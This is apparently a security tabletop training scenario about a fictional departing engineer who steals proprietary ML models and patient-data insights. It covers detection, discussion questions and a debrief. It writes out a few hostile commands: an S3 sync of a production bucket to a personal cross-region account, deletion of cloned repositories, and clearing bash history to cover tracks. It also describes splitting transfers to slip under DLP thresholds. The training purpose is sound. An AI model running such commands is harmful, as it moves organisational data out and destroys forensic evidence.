SC-017: Insider Threat — Data Exfiltration¶

Threat Actor Profile¶

"Alex Chen" is a synthetic persona representing a senior software engineer at TechCorp, a mid-size SaaS company (~2,000 employees) specializing in healthcare analytics. Alex has been with TechCorp for 6 years, holds elevated access to source code repositories, customer databases, and the company's proprietary machine learning models. Alex recently accepted a position at MedAnalytics, a direct competitor, with a start date 30 days out.

Alex's access profile:

Motivation: Financial and career advancement — Alex intends to bring TechCorp's proprietary ML models and customer dataset insights to the competitor, believing this intellectual property will accelerate their new role and potentially earn a performance bonus.

Scenario Narrative¶

Phase 1 — Motivation & Reconnaissance (~20 min)¶

Alex Chen submits a 2-week resignation notice to HR on 2026-01-05. HR processes the resignation and schedules an exit interview for 2026-01-17. HR does not notify the security team or IT about the departure. This is a critical gap — TechCorp's offboarding policy requires HR to notify IT security within 24 hours of a resignation, but the process is manual (email-based) and inconsistently followed.

Between January 5 and January 10, Alex begins reconnaissance — systematically identifying the most valuable data assets accessible through existing credentials. Alex's behavior changes subtly:

• GitHub: Clones 8 repositories outside normal work scope, including ml-core-engine (proprietary ML framework), customer-scoring-model (HIPAA-regulated customer data models), and patent-pending-algorithms
• Snowflake: Runs 14 ad-hoc queries against CUSTOMER_ANALYTICS.PATIENT_OUTCOMES — a table Alex has access to but has never queried before
• Google Drive: Searches for terms including "competitive analysis", "product roadmap 2026", "IP portfolio"

Evidence Artifacts:

Phase 2 — Data Staging (~25 min)¶

Between January 10 and January 14, Alex begins staging data for exfiltration. The staging is methodical and designed to avoid triggering volume-based DLP alerts:

Evidence Artifacts:

Phase 3 — Exfiltration & Cover Tracks (~25 min)¶

On 2026-01-15 (2 days before the last day), Alex executes the final exfiltration and begins covering tracks:

Final Data Exfiltration:

• Alex uses the AWS CLI from the corporate laptop to sync the techcorp-ml-models-prod S3 bucket to a personal AWS account: aws s3 sync s3://techcorp-ml-models-prod s3://personal-ml-research-2026 --source-region us-east-1 --region eu-west-1. This transfers 8.7GB of production ML model artifacts to an S3 bucket in a different AWS account and region.

Cover Track Attempts:

• Deletes browser history and clears the Chrome profile
• Removes locally cloned repositories from the laptop (rm -rf ~/repos/ml-core-engine ~/repos/customer-scoring-model)
• Revokes the personal Google Drive external share (but the files remain in the personal Drive)
• Clears bash history (history -c && rm ~/.bash_history)
• Empties the Trash on the MacBook

What Alex Doesn't Know:

• CrowdStrike Falcon records all file deletions and command-line activity — the rm -rf commands are fully logged
• AWS CloudTrail logs the S3 sync operation with source and destination bucket names
• Google Workspace retains sharing audit logs for 180 days even after shares are revoked
• The corporate laptop's Time Machine backup (to a network share) captured a snapshot 4 hours before file deletion

Evidence Artifacts:

Phase 4 — Detection & Investigation (~30 min)¶

On 2026-01-19 (2 days after Alex's last day), the security team receives a UEBA alert from Microsoft Sentinel: "Anomalous data access pattern — departing employee". The alert fires because the UEBA system finally received the HR departure notification (sent manually by HR on January 16 — 11 days after the resignation) and retroactively correlated it with Alex's data access patterns.

The security team launches a formal insider threat investigation:

Evidence Artifacts:

Detection Opportunities¶

Legal & HR Investigation Framework¶

Key Discussion Questions¶

1. HR did not notify security about Alex's resignation for 11 days. How do you build an automated, reliable HR-to-Security notification pipeline? What systems should integrate?
2. Alex used 5 different exfiltration channels (cloud sharing, USB, print, S3, Git). How do you build a unified DLP strategy that covers all channels without creating an oppressive monitoring environment?
3. The DLP policy was threshold-based (>500MB per transfer). Alex bypassed it by splitting transfers. What alternative detection approaches (UEBA, cumulative scoring, behavioral baselines) would catch this pattern?
4. Alex's anti-forensic activity (deleting files, clearing history) is itself an indicator of malicious intent. How do you use cover-track behavior as a detection signal without triggering false positives from legitimate housekeeping?
5. What are the ethical boundaries of insider threat monitoring? How do you balance employee privacy with corporate data protection, particularly in jurisdictions with strong privacy laws (GDPR, CCPA)?

Debrief Guide¶

What Went Well¶

• CrowdStrike Falcon captured comprehensive endpoint telemetry — including USB, file deletion, and command-line activity
• AWS CloudTrail logged the cross-account S3 sync with full detail — forensic reconstruction was straightforward
• Time Machine backup provided a recovery point for deleted files — defense in depth worked

Key Learning Points¶

• HR-Security integration is the #1 insider threat control gap — departing employees must trigger enhanced monitoring automatically
• Threshold-based DLP is easily bypassed — cumulative, behavioral, and contextual DLP is required
• Multi-channel exfiltration is common — insiders use whatever channel is available and least monitored
• Anti-forensic activity is a high-fidelity indicator — employees don't normally rm -rf entire repo directories and clear bash history
• Legal preparation must precede investigation — chain of custody, legal hold, and privilege considerations are critical from day one

Recommended Follow-Up¶

• [ ] Implement automated HR → Security notification via API integration (Workday → SIEM/SOAR)
• [ ] Deploy UEBA with specific departing-employee behavioral models
• [ ] Enforce USB device control — block unauthorized removable media or require encryption
• [ ] Implement cumulative DLP policies — track total data volume per user per week, not just per transfer
• [ ] Enable print DLP — content inspection for sensitive document markers
• [ ] Restrict S3 cross-account operations via SCP — block PutObject to non-corporate accounts
• [ ] Add insider threat scenarios to annual security awareness training
• [ ] Conduct quarterly access reviews for departing employees with elevated privileges

References¶

• Chapter 18: Insider Threat Detection
• Chapter 15: Data Loss Prevention
• Chapter 9: Incident Response Lifecycle
• Chapter 30: Legal, Privacy & Compliance